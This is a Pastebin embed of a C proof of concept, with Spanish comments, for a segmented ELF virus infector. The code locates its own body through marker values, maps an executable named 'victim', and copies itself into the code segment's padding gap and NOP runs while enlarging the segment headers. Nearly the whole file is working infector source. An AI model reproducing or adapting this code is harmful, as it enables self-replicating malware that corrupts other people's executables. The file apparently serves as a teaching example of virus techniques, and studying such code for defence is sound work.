document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /*
  2.  *    Prueba de concepto: inyección segmentada de código.
  3.  *    Copyright (C) 2012  Gonzalo J. Carracedo
  4.  *
  5.  *    This program is free software: you can redistribute it and/or modify
  6.  *    it under the terms of the GNU General Public License as published by
  7.  *    the Free Software Foundation, either version 3 of the License, or
  8.  *    (at your option) any later version.
  9.  *
  10.  *    This program is distributed in the hope that it will be useful,
  11.  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
  12.  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13.  *    GNU General Public License for more details.
  14.  *
  15.  *    You should have received a copy of the GNU General Public License
  16.  *    along with this program.  If not, see <http://www.gnu.org/licenses/>
  17.  */
  18.  
  19. #include <sys/syscall.h>
  20. #include <sys/types.h>
  21. #include <elf.h>
  22. #include <stdint.h>
  23. #include <sys/mman.h>
  24. #include <stdlib.h>
  25.  
  26. /* Mínimo de contigüidad. Esto deberá modificarse una vez que escribamos la
  27.    rutina de reensamblado para asegurar que se carga completamente */
  28. #define MIN_CONTIGUOUS 64
  29.  
  30. /* Esta vez necesitamos dos marcadores distintos, ya que ahora nuestro
  31.    código estará troceado y puede empezar (o acabar) en cualquier parte. */
  32.    
  33. #define BOTTOM_MARKER_LOW  0x504b
  34. #define BOTTOM_MARKER_HIGH 0x5841
  35. #define TOP_MARKER_LOW     0x4158
  36. #define TOP_MARKER_HIGH    0x4b50
  37.  
  38. #define BOTTOM_MARKER      0x5841504b /* KPAX */
  39. #define TOP_MARKER         0x4b504158 /* XAPK */
  40.  
  41. #define DEBUG(x) write (1, x, sizeof (x) - 1)
  42.  
  43. /* Esta versión implementa mmap en vez de read, write o lseek. Es más
  44.    rápido, más corto y funcionará mejor para nuestros propósitos */
  45. /* Los includes pueden llegar a ser muy molestos. */
  46. #define O_RDWR                02
  47.  
  48.  
  49. /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
  50. /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
  51.    sustituirá por la cadena "palabra" */
  52.    
  53. #define _STRINGIFY(x) #x
  54. #define STRINGIFY(x) _STRINGIFY (x)
  55.  
  56. /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
  57.    el flag "a" le obliga a que la sección se cargue en memoria */
  58.    
  59. asm (".section .code_bottom, \\"xa\\"");
  60. asm (".long " STRINGIFY (BOTTOM_MARKER));
  61. asm (".long 0"); /* Reservamos espacio para guardar el tamaño de la zona contigua */
  62. asm (".long 0"); /* Puntero al primer trozo */
  63. asm (".section .code_top, \\"xa\\"");
  64. asm (".long " STRINGIFY (TOP_MARKER));
  65.  
  66.  
  67. /* write la conservamos SÓLO para debug */
  68. int
  69. write (int fd, const void *buf, int size)
  70. {
  71.   int ret;
  72.  
  73.   asm volatile ("xchg %%ebx, %%esi\\n"
  74.                  "int $0x80\\n"
  75.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  76.                  "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
  77.    
  78.   return ret;
  79. }
  80.  
  81. /*
  82.  * Código copiado por las malas de la libc para la implementación de mmap/munmap.
  83.  */
  84.  
  85. void *
  86. mmap (void *start, size_t length, int prot, int flags, int fd, off_t offset);
  87.  
  88. int
  89. munmap (void *start, size_t length);
  90.  
  91. asm (".section .text");
  92. asm (".global munmap");
  93. asm ("munmap:");
  94. asm ("  mov    %ebx,%edx");
  95. asm ("  mov    0x8(%esp),%ecx");
  96. asm ("  mov    0x4(%esp),%ebx");
  97. asm ("  mov    $0x5b,%eax");
  98. asm ("  int    $0x80");
  99. asm ("  mov    %edx,%ebx");
  100. asm ("  ret");
  101.  
  102. asm (".global mmap");
  103. asm ("mmap:");
  104. asm ("  push %eax");
  105. asm ("  pusha");
  106. asm ("  mov    0x28(%esp), %ebx");
  107. asm ("  mov    0x2c(%esp), %ecx");
  108. asm ("  mov    0x30(%esp), %edx");
  109. asm ("  mov    0x34(%esp), %esi");
  110. asm ("  mov    0x38(%esp), %edi");
  111. asm ("  mov    0x3c(%esp), %ebp");
  112. asm ("  shr    $0xc, %ebp"); /* El kernel se espera directamente los 12 bits de página */
  113. asm ("  mov    $0xc0, %eax");
  114. asm ("  int    $0x80");
  115. asm ("  mov    %eax, 0x20(%esp)");
  116. asm ("  popa");
  117. asm ("  pop %eax");
  118. asm ("  ret");
  119.  
  120. static int
  121. open (const char *path, int mode)
  122. {
  123.   int ret;
  124.  
  125.   asm volatile ("xchg %%ebx, %%esi\\n"
  126.                  "int $0x80\\n"
  127.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  128.                  "a" (__NR_open), "S" (path), "c" (mode));
  129.    
  130.   return ret;
  131. }
  132.  
  133. static int
  134. close (int fd)
  135. {
  136.   int ret;
  137.  
  138.   asm volatile ("xchg %%ebx, %%esi\\n"
  139.                  "int $0x80\\n"
  140.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  141.                  "a" (__NR_close), "S" (fd));
  142.    
  143.   return ret;
  144. }
  145.  
  146.  
  147. /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
  148.    muy útil para depurar. */
  149. void
  150. long2hex (unsigned int number, char *buf)
  151. {
  152.   int i;
  153.   char hexa[] = "0123456789abcdef";
  154.  
  155.   for (i = 0; i < 8; i++)
  156.   {
  157.     buf[7 - i] = hexa[number & 0xf];
  158.     number >>= 4;
  159.   }
  160.  
  161.   buf[8] = \'\\n\';
  162. }
  163.  
  164. /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
  165.    del %eip mediante un call (ya que no podemos calcular las direcciones de
  166.    nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
  167.    hacia arriba o hacia abajo hasta encontrarlos */
  168.    
  169. void
  170. get_code_limits (uint32_t *bottom, uint32_t *top)
  171. {
  172.   int i;
  173.   uint32_t this_addr;
  174.  
  175.   /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
  176.      de código en la que me hallo. El popl %0 saca la dirección de retorno
  177.      que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
  178.      inline assembly de GCC */
  179.      
  180.   /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
  181.      que llamé 1 y que está hacia adelante. Esto de utilizar números para
  182.      etiquetas se suele hacer mucho cuando la etiqueta hace referencia
  183.      a un cacho de código que no está especialmente diferenciado del resto. */
  184.      
  185.   asm volatile ("call 1f\\n"
  186.                  "1:\\n"
  187.                  "popl %0\\n" : "=g" (this_addr));
  188.                  
  189.  
  190.   /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
  191.      últimos bits a cero. */
  192.      
  193.   this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
  194.                       this_addr = this_addr & 0xfffffffc que es un and
  195.                       en binario con todo 1 menos los dos últimos bits,
  196.                       esto fuerza a que el número esté alineado a 4. */
  197.  
  198.  
  199.   /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
  200.      nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
  201.      dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
  202.      
  203.      El marcador está hacia "atrás", o sea que recorreremos la memoria
  204.      restando. */
  205.      
  206.   for (i = this_addr; ; i -= 4)
  207.   {
  208.     if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
  209.       if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
  210.       {
  211.         *bottom = i;
  212.         break;
  213.       }
  214.   }
  215.  
  216.   /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
  217.      nuestra memoria hacia adelante, sumando. */
  218.   for (i = this_addr; ; i += 4)
  219.   {
  220.     if (*(uint16_t *) i == TOP_MARKER_LOW)
  221.       if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
  222.       {
  223.         *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
  224.                          4 bytes) también pertenece al código. */
  225.         break;
  226.       }
  227.   }
  228.  
  229. }
  230.  
  231. /* Debido a que sólo utilizo lseek una vez (y es para calcular el tamaño de
  232.    un fichero) he optado por meterla en una macro y ahorrarme prólogos y
  233.    una generalización que no voy a necestar. Es importante ahorrar espacio.
  234.    */
  235. #define GET_FILE_SIZE(fd, size)                                \\
  236.   asm volatile ("xchg %%ebx, %%esi\\n"                          \\
  237.                 "int $0x80\\n"                                  \\
  238.                 "xchg %%ebx, %%esi\\n" : "=a" (size) :          \\
  239.                 "a" (__NR_lseek), "S" (fd), "c" (0), "d" (2));
  240.                
  241. /* Equivalente a map_elf, pero usando mmap */
  242. void *
  243. map_elf (const char *path, size_t *size)
  244. {
  245.   int fd;
  246.   void *map;
  247.   Elf32_Ehdr *Ehdr;
  248.  
  249.   if ((fd = open (path, O_RDWR)) < 0)
  250.     return NULL; /* Error al abrir */
  251.  
  252.   GET_FILE_SIZE (fd, *size);
  253.  
  254.   if (*size < 0)
  255.     return NULL;
  256.    
  257.   if ((uint32_t) (map = mmap (NULL, *size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) & 0xfff)
  258.   {
  259.     DEBUG (map);
  260.     close (fd);
  261.     return NULL;
  262.   }
  263.  
  264.   close (fd);
  265.  
  266.   Ehdr = (Elf32_Ehdr *) map;
  267.  
  268.  
  269.   if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
  270.       Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
  271.       Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
  272.       Ehdr->e_ident[EI_MAG3] != ELFMAG3 ||
  273.       Ehdr->e_ident[EI_CLASS] != ELFCLASS32 ||
  274.       Ehdr->e_ident[EI_DATA] != ELFDATA2LSB ||
  275.       Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
  276.   {
  277.     munmap (map, *size);
  278.     return NULL; /* Números mágicos incorrectos */
  279.   }
  280.  
  281.   return map;
  282. }
  283.  
  284. /* Macro para alinear a tamaños */
  285. #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
  286.  
  287. /* get_alloc_info nos servirá para obtener el puntero a la brecha, su tamaño,
  288.    el espacio que tenemos en NOPs y cuántas tiras de NOPs tenemos. */
  289. int
  290. get_alloc_info (void *image_base,        /* Dirección donde hemos cargado el binario */
  291.                 Elf32_Phdr **code_phdr,  /* Aquí cargaremos la cabecera de código */
  292.                 void **gap_addr,         /* Aquí cargamos la dirección de la brecha */
  293.                 size_t *gap_size,       /* Aquí, el tamaño de la brecha */
  294.                 int *nop_bytes,          /* Bytes libres en NOPs */
  295.                 int *nop_chunks)         /* Número de tiras de NOPs */
  296. {
  297.   int i, code_idx;
  298.   uint8_t *text;
  299.   int state = 0, stripsize = 0;
  300.  
  301.   off_t   gap_start, gap_start_relative;
  302.  
  303.   Elf32_Ehdr *Ehdr;
  304.   Elf32_Phdr *Phdr;
  305.  
  306.   code_idx = -1;
  307.  
  308.   Ehdr = (Elf32_Ehdr *) image_base;
  309.   Phdr = (Elf32_Phdr *) (image_base + Ehdr->e_phoff);
  310.    
  311.   for (i = 0; i < Ehdr->e_phnum; i++)
  312.   {  
  313.     if (Phdr[i].p_type == PT_LOAD)
  314.     {
  315.       if (Phdr[i].p_flags & PF_X)
  316.       {
  317.         if (code_idx != -1) /* ¿Dos segmentos de código? dew */
  318.           return -1;
  319.         code_idx = i;
  320.       }
  321.     }
  322.   }
  323.    
  324.   if (code_idx == -1)
  325.     return -1;
  326.  
  327.   *code_phdr = Phdr + code_idx;
  328.  
  329.   gap_start_relative = ALIGN ((*code_phdr)->p_filesz, 4); /* Comienzo relativo al segmento */
  330.   gap_start = (*code_phdr)->p_offset + gap_start_relative; /* Comienzo real */
  331.   *gap_size  = 4096 - (gap_start & 0xfff); /* Tamaño */
  332.  
  333.   *gap_addr = image_base + gap_start;
  334.  
  335.   for (i = 0; i < Ehdr->e_phnum; i++)
  336.   {
  337.     /* ¿Está a caballo entre dos segmentos? */
  338.     if (Phdr[i].p_type == PT_LOAD)
  339.       if (gap_start <= Phdr[i].p_offset && Phdr[i].p_offset < gap_start + *gap_size)
  340.         *gap_size = Phdr[i].p_offset - gap_start; /* Corregimos, no queremos chafar lo otro */
  341.   }
  342.    
  343.   /* El segmento de código empieza aquí */
  344.   text = (uint8_t *) (image_base + (*code_phdr)->p_offset);
  345.  
  346.   *nop_bytes = 0;
  347.   *nop_chunks = 0;
  348.  
  349.   /* Aquí contabilizamos cuántos bytes en NOPs usables tenemos */
  350.   for (i = 0; i < (*code_phdr)->p_filesz; i++)
  351.   {
  352.     if (!state)
  353.     {
  354.       if (text[i] == 0x90) /* RET */
  355.       {
  356.         stripsize = 1;
  357.         state++;
  358.       }
  359.     }
  360.     else
  361.     {
  362.       if (text[i] == 0x90)
  363.         stripsize++;
  364.       else
  365.       {
  366.         if (stripsize > 4) /* Sólo son útiles si tenemos 5 o más */
  367.         {
  368.           if ((i & 0xf) == 0)
  369.           {
  370.             (*nop_bytes) += stripsize;
  371.             (*nop_chunks)++;
  372.           }
  373.         }
  374.        
  375.         state--;
  376.       }
  377.     }
  378.   }
  379.  
  380.   return 0;
  381. }
  382.  
  383. /* Esta es la forma más corta que se me ocurre de implementar memcpy */
  384. #define FAST_MEMCPY(to, from, size)  \\
  385.   asm volatile ("push %%ecx\\npush %%esi\\npush %%edi\\nrep movsb\\npopl %%edi\\npopl %%esi\\npopl %%ecx" ::       \\
  386.   "S" (from), "D" (to), "c" (size));
  387.  
  388. /* alloc_nop_chunk nos buscará la primera tira de nops libre que encuentre */
  389. int
  390. alloc_nop_chunk (void *victim_code_base,  /* Dirección del segmento de código */
  391.                  size_t victim_code_size, /* Tamaño del mismo */
  392.                  void **chunk_addr,       /* Aquí guardamos la dirección */
  393.                  size_t *chunk_size)      /* Y aquí su tamaño */
  394. {
  395.   uint8_t *text;
  396.   int state = 0, stripsize = 0;
  397.   int i;
  398.  
  399.   text = (uint8_t *) victim_code_base;
  400.  
  401.   for (i = 0; i < victim_code_size; i++)
  402.   {
  403.     if (!state)
  404.     {
  405.       if (text[i] == 0x90) /* NOP */
  406.       {
  407.         stripsize = 1;
  408.         state++;
  409.       }
  410.     }
  411.     else
  412.     {
  413.       if (text[i] == 0x90 && stripsize < 255) /* No podemos manejar cosas tan grandes */
  414.         stripsize++;
  415.       else
  416.       {
  417.         if (stripsize > 4)
  418.         {
  419.           if ((i & 0xf) == 0)
  420.           {
  421.             *chunk_addr = (void *) &text[i - stripsize];
  422.             *chunk_size = stripsize - 4;
  423.          
  424.             return 0;
  425.           }
  426.         }
  427.        
  428.         state--;
  429.       }
  430.     }
  431.   }
  432.  
  433.   return -1;
  434. }
  435.  
  436. int
  437. infect (Elf32_Phdr *phdr,       /* Cabecera del segmento de código */
  438.         void *self_code_base,   /* Comienzo de nuestro código */  
  439.         size_t self_code_size,  /* Tamaño de nuestro código */
  440.         void *victim_code_base, /* Dirección del segmento víctima */
  441.         void *gap_addr,         /* Inicio de la brecha */
  442.         size_t gap_size)        /* Tamaño de la brecha */
  443. {
  444.   off_t     code_offset;
  445.   uint32_t *code_as_dwords;
  446.   uint32_t *chunk_addr, *prev_chunk;
  447.   size_t   chunk_size;
  448.  
  449.   /* Haremos una de dos cosas. Si el código cabe entero, marco el tamaño de la zona contigua */
  450.  
  451.   if (self_code_size <= gap_size)
  452.   {
  453.     FAST_MEMCPY (gap_addr, self_code_base, self_code_size);
  454.     phdr->p_filesz += self_code_size;
  455.     phdr->p_memsz  += self_code_size;
  456.    
  457.     return 0;
  458.   }
  459.   else if (MIN_CONTIGUOUS <= gap_size)
  460.   {
  461.     DEBUG ("Se va a intentar una infección segmentada\\n");
  462.          
  463.     /* Toca infección segmentada, "a ver si cuela" */
  464.     FAST_MEMCPY (gap_addr, self_code_base, gap_size);
  465.    
  466.     phdr->p_filesz += gap_size;
  467.     phdr->p_memsz  += gap_size;
  468.    
  469.     code_as_dwords = (uint32_t *) gap_addr;
  470.     /* En code_as_dwords tendremos la sección contigua del código como un array
  471.        de dwords, donde:
  472.        
  473.        code_as_dwords[0] = MARCADOR INICIAL (KPAX)
  474.        code_as_dwords[1] = Tamaño de la zona contigua
  475.        code_as_dwords[2] = Desplazamiento hacia atrás desde code_as_dwords[0]
  476.                            donde se encuentra el primer fragmento */
  477.    
  478.     if (alloc_nop_chunk (victim_code_base, phdr->p_filesz, (void **) &chunk_addr, &chunk_size))
  479.       return -1; /* No quedan huecos */
  480.    
  481.     /* Aquí vamos a meter directamente el tamaño */
  482.     code_as_dwords[1] = gap_size;
  483.     code_as_dwords[2] = (uint32_t) gap_addr - (uint32_t) chunk_addr;
  484.    
  485.     code_offset = gap_size; /* Hemos sido capaces de colar gap_size bytes
  486.                                de nuestro código */
  487.    
  488.     while (code_offset < self_code_size)
  489.     {
  490.       if (chunk_size > self_code_size - code_offset)
  491.         chunk_size = self_code_size - code_offset;
  492.        
  493.       /* En este bucle tenemos:
  494.      
  495.          En chunk: como dwords, el puntero al primer dword del trozo.
  496.          En size:  tamaño del trozo (máximo: 255)
  497.          
  498.        
  499.          El chunk[0] contiene los metadatos con los offsets y tal. Guardaremos
  500.          lo mismo, offset hacia atrás desde el principio de la brecha.
  501.          
  502.          El trozo tendrá esta estructura forma:
  503.        
  504.            chunk[0]: BYTE 0: TAMAÑO (8 bits)
  505.                      BYTE 1: X \\
  506.                      BYTE 2: X  | DESPLAZAMIENTO DESDE LA BRECHA (24 bits)
  507.                      BYTE 3: X /
  508.            chunk[1]  BYTE 4: DATOS
  509.                      BYTE 5: DATOS
  510.                      BYTE 6: DATOS
  511.                       (...)
  512.          */
  513.          
  514.       chunk_addr[0] = (unsigned char) chunk_size;
  515.      
  516.       FAST_MEMCPY (&chunk_addr[1], self_code_base + code_offset, chunk_size);
  517.      
  518.       code_offset += chunk_size;
  519.        
  520.       if (code_offset < self_code_size)
  521.       {
  522.         prev_chunk = chunk_addr;
  523.        
  524.         if (alloc_nop_chunk (victim_code_base, phdr->p_filesz, (void **) &chunk_addr, &chunk_size))
  525.           return -1; /* No quedan huecos */
  526.         prev_chunk[0] |= ((uint32_t) gap_addr - (uint32_t) chunk_addr) << 8;
  527.       }
  528.     }
  529.    
  530.     return 0;
  531.   }
  532.   else
  533.     return -1;
  534. }
  535.  
  536. /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
  537. void
  538. _start (void)
  539. {
  540.   char buffer[9];
  541.   Elf32_Phdr *code_phdr;
  542.  
  543.   size_t     image_size;
  544.   void      *image_base;
  545.   void      *gap_addr;
  546.  
  547.   size_t self_code_size;
  548.   void  *self_code_base;
  549.   uint32_t limit_top;
  550.  
  551.   int gap_size, nop_bytes, nop_chunks;
  552.  
  553.  
  554.   get_code_limits ((uint32_t *) &self_code_base, &limit_top);
  555.   self_code_size = limit_top - (uint32_t) self_code_base;
  556.  
  557.   if ((image_base = map_elf ("victim", &image_size)) == NULL)
  558.   {
  559.     DEBUG ("Imposible abrir victim\\n");
  560.     for (;;);
  561.   }
  562.  
  563.   if (get_alloc_info (image_base, &code_phdr, &gap_addr, &gap_size, &nop_bytes, &nop_chunks) == -1)
  564.   {
  565.     DEBUG ("El binario tiene un segmento de código un tanto extraño.\\n");
  566.     for (;;);
  567.   }
  568.  
  569.   DEBUG ("Tamaño de la brecha: ");
  570.   long2hex (gap_size, buffer);
  571.   write (1, buffer, 9);
  572.  
  573.    
  574.   DEBUG ("Número de chunks disponibles: ");
  575.   long2hex (nop_chunks, buffer);
  576.   write (1, buffer, 9);
  577.  
  578.   if (nop_bytes - 4 * nop_chunks + gap_size < self_code_size)
  579.   {
  580.     DEBUG ("No cabe. No se intentará hacer una infección.\\n");
  581.     for (;;);
  582.   }
  583.  
  584.   if (gap_size < MIN_CONTIGUOUS)
  585.   {
  586.     DEBUG ("No se ha satisfecho el criterio de mínima contigüidad.\\n");
  587.     for (;;);
  588.   }
  589.  
  590.  
  591.   if (infect (code_phdr, self_code_base, self_code_size, image_base + code_phdr->p_offset, gap_addr, gap_size) != -1)
  592.     DEBUG ("INFECTADO.\\n");
  593.   else
  594.     DEBUG ("NO INFECTADO.\\n");
  595.  
  596.   for (;;);
  597. }
');